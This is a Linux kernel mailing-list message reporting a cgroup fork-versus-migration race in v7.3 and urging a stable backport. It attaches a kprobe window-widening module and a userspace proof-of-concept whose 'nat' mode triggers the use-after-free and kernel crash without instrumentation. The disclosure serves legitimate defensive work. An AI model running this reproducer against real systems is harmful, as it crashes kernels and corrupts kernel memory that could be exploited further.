mirror of https://lore.kernel.org/lkml/
 help / color / mirror / Atom feed
From: 徐晗翔 <xuhx@hust.edu.cn>
To: tj@kernel.org, hannes@cmpxchg.org, mkoutny@suse.com
Cc: cgroups@vger.kernel.org, linux-kernel@vger.kernel.org,
	stable@vger.kernel.org
Subject: cgroup: fork vs cgroup.procs write race in favordynmods mode  -- v7.3 is affected; please make sure bf6fbf46b5ff reaches the  stable trees (repro incl. uninstrumented natural hit)
Date: Tue, 3 Nov 2026 19:48:25 +0800 (GMT+08:00)	[thread overview]
Message-ID: <3d753a39.1d66a.1a1a13d3452.Coremail.xuhx@hust.edu.cn> (raw)
In-Reply-To: <2026102727-data-sequel-ce41@gregkh>

[-- Attachment #1: Type: text/plain, Size: 4111 bytes --]

In the per-threadgroup-rwsem mode (CONFIG_CGROUP_FAVOR_DYNMODS or the
cgroup2 mount option favordynmods), v7.3 publishes a forked child's
PID before cgroup_post_fork() links it into its css_set
(fork.c:2572 vs cgroup.c:7085->928-929); a concurrent writer to the
destination cgroup's cgroup.procs can migrate the child inside that
window, double-linking task_struct::cg_list and corrupting css_set
accounting -- after the child exits, css_task_iter_advance() walks a
dangling pointer (use-after-free on the child's task_struct; after
SLUB reuse this is a write primitive in principle).  This is fixed
upstream by bf6fbf46b5ff ("cgroup: serialize migrations of newly
forked processes", merged 2026-10-20, already tagged Cc: stable #
6.18+), which v7.3 predates.  I am writing to support that backport
with reproduction evidence on a pristine 7.3 KASAN kernel: a
controlled window hits all three of the kernel's own WARN tripwires
(cgroup.c:2601 in cgroup_migrate_add_task, :7083 in
cgroup_post_fork, :915 in css_set_move_task) and produces 648
slab-use-after-free reports in css_task_iter_advance/_next (victim =
the child's 5896-byte task_struct, alloc copy_process, free
release_task); more importantly, a completely uninstrumented
userspace-only hammer (4 forker threads + 2 cgroup.procs writers,
preempt=full) hits the same three tripwires with identical offsets
within ~40 seconds and then takes a secondary NULL-deref in
css_set_move_task -- the race is naturally reachable by ordinary
userspace, with no KASAN required to notice (the WARNs fire on
stock kernels too).  The migration succeeding is what corrupts;
even a later failed/rolled-back migration leaves the damage.


The detailed description:

* The window (v7.3)
  fork(): the child's PID becomes visible (fork.c:2572 area) before
  cgroup_post_fork() runs and does css_set_move_task/link into
  cg_list (cgroup.c:7085 -> 928-929).  In favordynmods mode nothing
  serializes a cgroup.procs writer against this window (that is what
  bf6fbf46b5ff adds).  The writer's cgroup_migrate_add_task finds
  the "published but unlinked" child (list_empty(cg_list) true --
  WARN at :2601), links it to the destination; cgroup_post_fork then
  links it again (WARN at :7083), and css_set_move_task takes its
  from_cset==NULL branch (WARN at :915): cg_list is on two lists,
  nr_tasks is double-counted.  After the child exits and is reaped,
  the destination's task list retains a dangling pointer that
  css_task_iter walks (the UAF), and unrelated later migrations can
  crash on the corrupted state (observed: NULL-deref at
  css_set_move_task+0x8a).

* Evidence (pristine 7.3 KASAN; reproducer attached)
  Controlled (r1stall.ko parks the forker at cgroup_post_fork's
  entry -- the window's end boundary -- and hands the child PID to
  userspace; r1poc writes it to dst/cgroup.procs inside the window):
    WARNING: cgroup.c:2601 at cgroup_migrate_add_task  (writer side)
    ... write ret=3, dst membership: YES                  (migration
        completed inside the window)
    WARNING: cgroup.c:7083 at cgroup_post_fork         (forker side)
    WARNING: cgroup.c:915 at css_set_move_task         (double link)
    ... child exits ...
    BUG: KASAN: slab-use-after-free in css_task_iter_advance+0xb8
      (x648, css_task_iter_advance/_next family; victim task_struct,
       alloc copy_process, free release_task)
  Natural (NO module loaded, preempt=full, pure userspace): same
  three WARNs with identical function+offset signatures at ~40 s
  into the hammer (writer thread hits :2601, forker thread hits
  :7083/:915 -- the interleaving itself captured), followed by
  BUG: KASAN: null-ptr-deref in css_set_move_task+0x8a as a later
  legitimate migration meets the corrupted state; the VM eventually
  became unstable.  Negative control (favordynmods active, normal
  migration of a fully-linked child): zero warnings, zero KASAN.
  Reproducers attached: r1stall.c (kprobe window module) and r1poc.c
  (static userspace orchestrator with ctl/base/nat modes; the nat
  mode needs no module at all).



Regards,
Hanxiang Xu
xuhx@hust.edu.cn

[-- Attachment #2: r1stall.c --]
[-- Type: text/plain, Size: 6027 bytes --]

// SPDX-License-Identifier: GPL-2.0
/*
 * r1stall.c - controlled-window instrument for R1 (fork vs cgroup.procs
 * migration race under the favordynmods per-threadgroup rwsem).
 *
 * Audited bug (R1, v7.3, fixed upstream by bf6fbf46b5ff):
 *   copy_process() publishes the child PID (attach_pid + tasklist_unlock,
 *   fork.c) BEFORE cgroup_post_fork() links the child into its css_set
 *   (css_set_move_task, cgroup.c:7085). With cgroup_enable_per_threadgroup_
 *   rwsem active, a cgroup.procs writer only takes the child's own fresh,
 *   uncontended per-threadgroup rwsem (cgroup_attach_lock PER_THREADGROUP),
 *   while the forker holds only the global read lock + the PARENT's per-tg
 *   read lock -- the two lock sets are disjoint, so the migration can run
 *   inside that window: cgroup_migrate_add_task() list_move_tail()s the
 *   still-orphan child->cg_list onto the source css_set's mg_tasks list,
 *   and cgroup_migrate_execute() relinks it into the destination css_set
 *   and rewrites child->cgroups. When the forker then runs
 *   cgroup_post_fork(), css_set_move_task(child, NULL, cset, false) takes
 *   the from_cset==NULL path, which SKIPS list_del_init and directly
 *   list_add_tail()s the already-linked node onto cset->tasks:
 *   double linkage of one cg_list node in two css_set lists.
 *
 * This module stalls the forking thread exactly inside that window by
 * busy-waiting in a kprobe pre_handler at the ENTRY of cgroup_post_fork
 * (the window's end boundary). This enlarges the natural window to an
 * arbitrary controlled duration, following the established controlled-
 * window methodology of this environment (see r4_stall.c precedent).
 * It does not by itself prove natural hit rates; those are exercised by
 * the r1poc natural-hammer mode.
 *
 * Hand-off protocol with userspace (r1poc):
 *   1. userspace writes 1 to /sys/module/r1stall/parameters/arm
 *   2. the NEXT user fork hits the probe: pre_handler claims the arm
 *      (atomic cmpxchg), records the child's pid where userspace can read
 *      it (child_pid), and spins (cpu_relax, IRQs on, preempt off) until
 *      userspace writes 1 to .../release or stall_ms elapses
 *   3. userspace (a helper process, on another CPU) reads child_pid,
 *      performs the cgroup.procs migration of that pid, then releases
 *   4. cgroup_post_fork() executes on the corrupted state
 *
 * Kernel-thread forks are passed through untouched (PF_KTHREAD check
 * BEFORE claiming the arm) so stray kworkers cannot consume the stall.
 */
#define pr_fmt(fmt) "R1STALL: " fmt

#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/kprobes.h>
#include <linux/sched.h>
#include <linux/jiffies.h>
#include <linux/atomic.h>

static int child_pid;
static int stall_ms = 4000;

module_param(stall_ms, int, 0600);
MODULE_PARM_DESC(stall_ms, "safety cap on the stall duration (ms)");

static atomic_t armed = ATOMIC_INIT(0);
static atomic_t release = ATOMIC_INIT(0);
static atomic_t taken = ATOMIC_INIT(0);

static int arm_set(const char *val, const struct kernel_param *kp)
{
	int v, ret;

	ret = kstrtoint(val, 0, &v);
	if (ret)
		return ret;
	if (v) {
		/* fresh arming: clear leftover release and pid */
		atomic_set(&release, 0);
		WRITE_ONCE(child_pid, 0);
		atomic_set(&armed, 1);
	} else {
		atomic_set(&armed, 0);
	}
	return 0;
}

static int arm_get(char *buffer, const struct kernel_param *kp)
{
	return sprintf(buffer, "%d\n", atomic_read(&armed));
}

static const struct kernel_param_ops arm_ops = {
	.set = arm_set,
	.get = arm_get,
};
module_param_cb(arm, &arm_ops, NULL, 0600);
MODULE_PARM_DESC(arm, "write 1 to arm the stall for the next user fork");

static int release_set(const char *val, const struct kernel_param *kp)
{
	int v, ret;

	ret = kstrtoint(val, 0, &v);
	if (ret)
		return ret;
	if (v)
		atomic_set(&release, 1);
	return 0;
}

static int release_get(char *buffer, const struct kernel_param *kp)
{
	return sprintf(buffer, "%d\n", atomic_read(&release));
}

static const struct kernel_param_ops release_ops = {
	.set = release_set,
	.get = release_get,
};
module_param_cb(release, &release_ops, NULL, 0600);
MODULE_PARM_DESC(release, "write 1 to release a stalled forker");

module_param(child_pid, int, 0400);
MODULE_PARM_DESC(child_pid, "pid of the child belonging to the stalled fork (read by userspace)");

static int stall_pre(struct kprobe *p, struct pt_regs *regs)
{
	struct task_struct *child = (struct task_struct *)regs->di;
	unsigned long deadline;
	int h;

	/* pass through when idle */
	if (!atomic_read(&armed))
		return 0;

	/* never stall kernel-thread forks (they are not migratable anyway) */
	if (!child || (child->flags & PF_KTHREAD))
		return 0;

	/* single taker */
	if (atomic_cmpxchg(&armed, 1, 0) != 1)
		return 0;

	h = atomic_inc_return(&taken);
	WRITE_ONCE(child_pid, child->pid);
	pr_warn("stall #%d: forker pid=%d comm=%s stalled at cgroup_post_fork entry, child=%d; waiting for release (cap %d ms)\n",
		h, current->pid, current->comm, child->pid, stall_ms);

	deadline = jiffies + msecs_to_jiffies(stall_ms);
	while (!atomic_read_acquire(&release) && time_before(jiffies, deadline))
		cpu_relax();

	pr_warn("stall #%d released (child=%d, %s)\n", h, child->pid,
		atomic_read(&release) ? "by user" : "by TIMEOUT");
	atomic_set(&release, 0);
	return 0;
}

static struct kprobe kp = {
	.symbol_name = "cgroup_post_fork",
	.pre_handler = stall_pre,
};

static int __init r1stall_init(void)
{
	int ret;

	ret = register_kprobe(&kp);
	if (ret) {
		pr_err("cannot register kprobe on cgroup_post_fork: %d\n", ret);
		return ret;
	}
	pr_info("armed kprobe on cgroup_post_fork (%px); stall_ms=%d\n",
		kp.addr, stall_ms);
	return 0;
}

static void __exit r1stall_exit(void)
{
	unregister_kprobe(&kp);
	pr_info("removed, stalls taken=%d\n", atomic_read(&taken));
}

module_init(r1stall_init);
module_exit(r1stall_exit);
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("controlled-window kprobe stall for R1 (fork vs cgroup.procs favordynmods race) verification");

[-- Attachment #3: r1poc.c --]
[-- Type: text/plain, Size: 10564 bytes --]

// SPDX-License-Identifier: GPL-2.0
/*
 * r1poc.c - userspace choreography for the R1 (fork vs cgroup.procs
 * favordynmods per-threadgroup rwsem race) verification.
 *
 * Modes:
 *   r1poc ctl <dst_cgroup_procs>
 *       Controlled-window run (requires /r1stall.ko loaded).
 *       - forks a helper BEFORE arming; helper spins on the module's
 *         child_pid parameter, migrates the stalled child by writing its
 *         pid to <dst_cgroup_procs>, verifies dst membership, releases
 *       - main arms the stall and forks the victim child; the fork is
 *         stalled inside cgroup_post_fork() while the helper migrates
 *       - afterwards the child exits and main hammers reads of the dst
 *         cgroup.procs / cgroup.tasks (css_task_iter walks the corrupted
 *         list -> KASAN use-after-free if the freed task is hit)
 *
 *   r1poc nat <dst_cgroup_procs> <secs> <n_forkers> <n_writers>
 *       Natural hammer, no instrumentation: forkers fork+reap in a tight
 *       loop; writers predict the next pid via /proc/sys/kernel/ns_last_pid
 *       and hammer writes into <dst_cgroup_procs>. Races the natural window
 *       between attach_pid() publication and cgroup_post_fork() linking
 *       (widened by proc connector broadcast, CONFIG_PROC_EVENTS=y).
 *
 *   r1poc base <dst_cgroup_procs>
 *       Negative baseline: migrate a fully-forked (properly linked) child
 *       and read the dst lists afterwards. Validates the plumbing; must
 *       NOT produce the cgroup WARNs or any KASAN report.
 *
 * All output is prefixed "R1POC:" for log harvesting.
 */
#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <signal.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <time.h>
#include <pthread.h>

#define P "/sys/module/r1stall/parameters/"
#define ARM_PATH        P "arm"
#define RELEASE_PATH    P "release"
#define CHILD_PID_PATH  P "child_pid"

static void say(const char *fmt, ...)
{
	va_list ap;

	fputs("R1POC: ", stdout);
	va_start(ap, fmt);
	vprintf(fmt, ap);
	va_end(ap);
	fputc('\n', stdout);
	fflush(stdout);
}

static int write_file(const char *path, const char *buf)
{
	int fd = open(path, O_WRONLY);
	int n = -1;

	if (fd < 0)
		return -1;
	n = write(fd, buf, strlen(buf));
	close(fd);
	return n;
}

static int read_file(const char *path, char *buf, int len)
{
	int fd = open(path, O_RDONLY);
	int n = -1;

	if (fd < 0)
		return -1;
	n = read(fd, buf, len - 1);
	if (n >= 0)
		buf[n] = '\0';
	close(fd);
	return n;
}

static int write_int(const char *path, int v)
{
	char buf[32];

	snprintf(buf, sizeof(buf), "%d", v);
	return write_file(path, buf);
}

static int read_int(const char *path, int *out)
{
	char buf[64];
	int n = read_file(path, buf, sizeof(buf));

	if (n <= 0)
		return -1;
	*out = atoi(buf);
	return 0;
}

static void dump_first_line(const char *tag, const char *path)
{
	char buf[4096];
	int n = read_file(path, buf, sizeof(buf));

	if (n <= 0) {
		say("%s read(%s) failed errno=%d", tag, path, errno);
		return;
	}
	buf[200] = '\0';
	for (char *p = buf; *p; p++)
		if (*p == '\n') { *p = '|'; }
	say("%s %s -> %.200s", tag, path, buf);
}

/* ------------------------------------------------------------------ */
/* controlled mode                                                     */
/* ------------------------------------------------------------------ */

static void ctl_helper(const char *dst, int mypid)
{
	char buf[64];
	int pid = 0, i, n, fd;
	char rb[4096];

	for (i = 0; i < 800; i++) {	/* up to ~8s */
		if (read_int(CHILD_PID_PATH, &pid) == 0 && pid > 0)
			break;
		usleep(10000);
	}
	if (pid <= 0) {
		say("helper(pid=%d): TIMEOUT waiting for child_pid, releasing", mypid);
		write_int(RELEASE_PATH, 1);
		_exit(9);
	}
	say("helper(pid=%d): saw child_pid=%d, migrating it now", mypid, pid);

	n = snprintf(buf, sizeof(buf), "%d", pid);
	fd = open(dst, O_WRONLY);
	if (fd < 0) {
		say("helper: open(%s) FAILED errno=%d", dst, errno);
		write_int(RELEASE_PATH, 1);
		_exit(10);
	}
	errno = 0;
	n = write(fd, buf, n);
	close(fd);
	say("helper: write(pid=%d) to %s -> ret=%d errno=%d", pid, dst, n, errno);

	/* migration effect readback: the stalled child must now be listed */
	n = read_file(dst, rb, sizeof(rb));
	if (n > 0) {
		char want[32];
		int found = 0;

		snprintf(want, sizeof(want), "%d", pid);
		/* crude token scan */
		for (char *p = strtok(rb, " \t\n"); p; p = strtok(NULL, " \t\n"))
			if (!strcmp(p, want))
				found = 1;
		say("helper: dst membership of pid=%d after migration: %s",
		    pid, found ? "YES (child now belongs to dst)" : "NO");
	} else {
		say("helper: dst readback failed errno=%d", errno);
	}

	say("helper: releasing stalled forker");
	write_int(RELEASE_PATH, 1);
	_exit(0);
}

static int ctl_mode(const char *dst)
{
	pid_t helper, child;
	int i, st;

	say("CTL-MODE-START dst=%s", dst);

	helper = fork();
	if (helper == 0) {
		ctl_helper(dst, getpid());
		_exit(0);	/* not reached */
	}
	usleep(200000);		/* helper is up and spinning */

	say("main: arming stall, then forking victim child");
	if (write_int(ARM_PATH, 1) < 0) {
		say("main: arm write FAILED errno=%d (module loaded?)", errno);
		return 1;
	}

	child = fork();		/* stalls inside cgroup_post_fork */
	if (child == 0) {
		say("child(pid=%d): alive after cgroup_post_fork, exiting now", getpid());
		fflush(stdout);
		_exit(42);
	}
	say("main: fork returned child=%d (stall released)", child);

	if (waitpid(child, &st, 0) < 0)
		say("main: waitpid errno=%d", errno);
	else
		say("main: child reaped, exit status=%d", WEXITSTATUS(st));
	kill(helper, SIGKILL);
	waitpid(helper, &st, 0);

	say("main: sleeping 3s (RCU GP + KASAN quarantine) then hammering dst list reads");
	sleep(3);
	for (i = 0; i < 100; i++) {
		dump_first_line("walk", dst);
		usleep(20000);
	}
	dump_first_line("walk", "/sys/fs/cgroup/cgroup.procs");
	say("CTL-MODE-DONE");
	return 0;
}

/* ------------------------------------------------------------------ */
/* baseline (negative control)                                         */
/* ------------------------------------------------------------------ */

static int base_mode(const char *dst)
{
	char buf[64], rb[4096];
	pid_t child;
	int n, fd, st, i, found;
	char want[32];

	say("BASE-MODE-START dst=%s (no arming, plain post-fork migration)", dst);

	child = fork();
	if (child == 0) {
		sleep(1);
		_exit(7);
	}
	usleep(100000);		/* child fully forked & linked */

	n = snprintf(buf, sizeof(buf), "%d", child);
	fd = open(dst, O_WRONLY);
	if (fd < 0) {
		say("base: open(%s) FAILED errno=%d", dst, errno);
		return 1;
	}
	errno = 0;
	n = write(fd, buf, n);
	close(fd);
	say("base: write(pid=%d) ret=%d errno=%d", child, n, errno);

	n = read_file(dst, rb, sizeof(rb));
	found = 0;
	snprintf(want, sizeof(want), "%d", child);
	if (n > 0)
		for (char *p = strtok(rb, " \t\n"); p; p = strtok(NULL, " \t\n"))
			if (!strcmp(p, want))
				found = 1;
	say("base: dst membership of pid=%d: %s", child, found ? "YES" : "NO");

	waitpid(child, &st, 0);
	say("base: child reaped (%d), sleeping 2s then walking dst lists", WEXITSTATUS(st));
	sleep(2);
	for (i = 0; i < 20; i++) {
		dump_first_line("walk", dst);
		usleep(50000);
	}
	say("BASE-MODE-DONE");
	return 0;
}

/* ------------------------------------------------------------------ */
/* natural hammer                                                      */
/*                                                                      */
/* NOTE: /proc/sys/kernel/ns_last_pid needs CONFIG_CHECKPOINT_RESTORE  */
/* which this kernel does not set; prediction is done cooperatively    */
/* instead: forker threads publish the pid of the fork that just       */
/* returned, writer threads hammer last_pid+1 / +2 (pids are           */
/* sequential in this quiet VM, so the next fork's child is almost     */
/* certainly one of those two numbers).                                */
/* ------------------------------------------------------------------ */

static volatile sig_atomic_t stop_flag;
static volatile long last_forked_pid;

static void onTerm(int sig) { stop_flag = 1; }

static void *nat_forker(void *arg)
{
	(void)arg;
	while (!stop_flag) {
		pid_t c = fork();

		if (c == 0)
			_exit(0);	/* immediate exit: highest pid churn */
		if (c > 0) {
			last_forked_pid = c;
			waitpid(c, NULL, 0);
		}
	}
	return NULL;
}

static void *nat_writer(void *arg)
{
	char *dst = arg;
	char b1[16], b2[16];
	int n1, n2, fd;

	fd = open(dst, O_WRONLY);
	if (fd < 0)
		return NULL;
	while (!stop_flag) {
		long t = last_forked_pid + 1;

		/* hammer the two most likely next child pids; attempts
		 * before the child's attach_pid() fail fast with ESRCH,
		 * a success landing between attach_pid() publication and
		 * cgroup_post_fork() linking wins the race */
		n1 = snprintf(b1, sizeof(b1), "%ld", t);
		n2 = snprintf(b2, sizeof(b2), "%ld", t + 1);
		write(fd, b1, n1);
		write(fd, b2, n2);
	}
	close(fd);
	return NULL;
}

static int nat_mode(const char *dst, int secs, int nf, int nw)
{
	pthread_t ft[16], wt[16];
	int i, r, w;

	if (nf > 16) nf = 16;
	if (nw > 16) nw = 16;
	say("NAT-MODE-START dst=%s secs=%d fork_threads=%d writer_threads=%d",
	    dst, secs, nf, nw);
	signal(SIGTERM, onTerm);

	for (i = 0; i < nf; i++)
		if ((r = pthread_create(&ft[i], NULL, nat_forker, NULL)) != 0)
			say("NAT: forker thread %d create failed: %d", i, r);
	for (i = 0; i < nw; i++)
		if ((r = pthread_create(&wt[i], NULL, nat_writer, (void *)dst)) != 0)
			say("NAT: writer thread %d create failed: %d", i, r);

	for (i = 0; i < secs && !stop_flag; i++)
		sleep(1);
	say("NAT: hammer window over (last_forked_pid=%ld), joining", last_forked_pid);
	stop_flag = 1;
	for (i = 0; i < nf; i++)
		pthread_join(ft[i], NULL);
	for (i = 0; i < nw; i++)
		pthread_join(wt[i], NULL);
	w = 0;
	say("NAT: sleeping 2s then walking dst lists");
	sleep(2);
	for (i = 0; i < 40 && !stop_flag; i++) {
		dump_first_line("walk", dst);
		usleep(50000);
	}
	say("NAT-MODE-DONE");
	return w;
}

int main(int argc, char **argv)
{
	if (argc < 3) {
		say("usage: %s ctl|base|nat <dst_cgroup_procs> [secs nf nw]", argv[0]);
		return 2;
	}
	setvbuf(stdout, NULL, _IONBF, 0);
	if (!strcmp(argv[1], "ctl"))
		return ctl_mode(argv[2]);
	if (!strcmp(argv[1], "base"))
		return base_mode(argv[2]);
	if (!strcmp(argv[1], "nat")) {
		int secs = argc > 3 ? atoi(argv[3]) : 30;
		int nf = argc > 4 ? atoi(argv[4]) : 4;
		int nw = argc > 5 ? atoi(argv[5]) : 4;
		return nat_mode(argv[2], secs, nf, nw);
	}
	say("unknown mode %s", argv[1]);
	return 2;
}

  parent reply	other threads:[~2026-11-03 11:48 UTC|newest]

Thread overview: 10+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2026-10-27 12:35 usb: devio: usbdev_release() has no barrier against an in-flight async_completed() callback (use-after-free window on struct usb_dev_state)gregkh@linuxfoundation.org 徐晗翔
2026-10-27 14:12 ` Greg KH
2026-11-03 11:21   ` mm/slub: has_pcs_used() reads remote per-CPU sheaf state from flush_all_cpus_locked() without synchronization (data race; KCSAN blind spot: slub.o is uninstrumented) 徐晗翔
2026-11-03 11:30   ` futex/hrtimer: hrtimer_sleeper::task is read unsynchronized in 16 places on v7.3 -- the accessor series that fixes this is not in 7.3; please make sure it reaches the affected trees (backport nudge + stock-kernel KCSAN evidence) 徐晗翔
2026-11-03 11:48   ` 徐晗翔 [this message]
2026-11-03 14:51     ` cgroup: fork vs cgroup.procs write race in favordynmods mode -- v7.3 is affected; please make sure bf6fbf46b5ff reaches the stable trees (repro incl. uninstrumented natural hit) Sasha Levin
2026-11-03 11:57   ` net: rtnetlink: rtnl_link_unregister() vs in-flight RTM_GETLINK dump readers -- v7.3 lacks the synchronize_rcu() fix (Fixes: 6b57ff21a310 family); A/B reproduction on stock 7.3 徐晗翔
2026-11-03 15:49     ` Eric Dumazet
2026-11-03 12:07   ` wifi: wilc1000: SDIO/SPI remove destroys the srcu_struct before wiphy_unregister() -- late cfg80211 callbacks write through dangling srcu state (unfixed upstream; controlled + natural Oops) 徐晗翔
2026-11-03 12:10   ` gpio: gpiolib: final put of the gpio_device happens inside the SRCU read critical section on the setup-failure path -- deterministic use-after-free read at guard release (unfixed upstream) 徐晗翔

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=3d753a39.1d66a.1a1a13d3452.Coremail.xuhx@hust.edu.cn \
    --to=xuhx@hust.edu.cn \
    --cc=cgroups@vger.kernel.org \
    --cc=hannes@cmpxchg.org \
    --cc=linux-kernel@vger.kernel.org \
    --cc=mkoutny@suse.com \
    --cc=stable@vger.kernel.org \
    --cc=tj@kernel.org \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox

all inboxes | Powered by JetHome®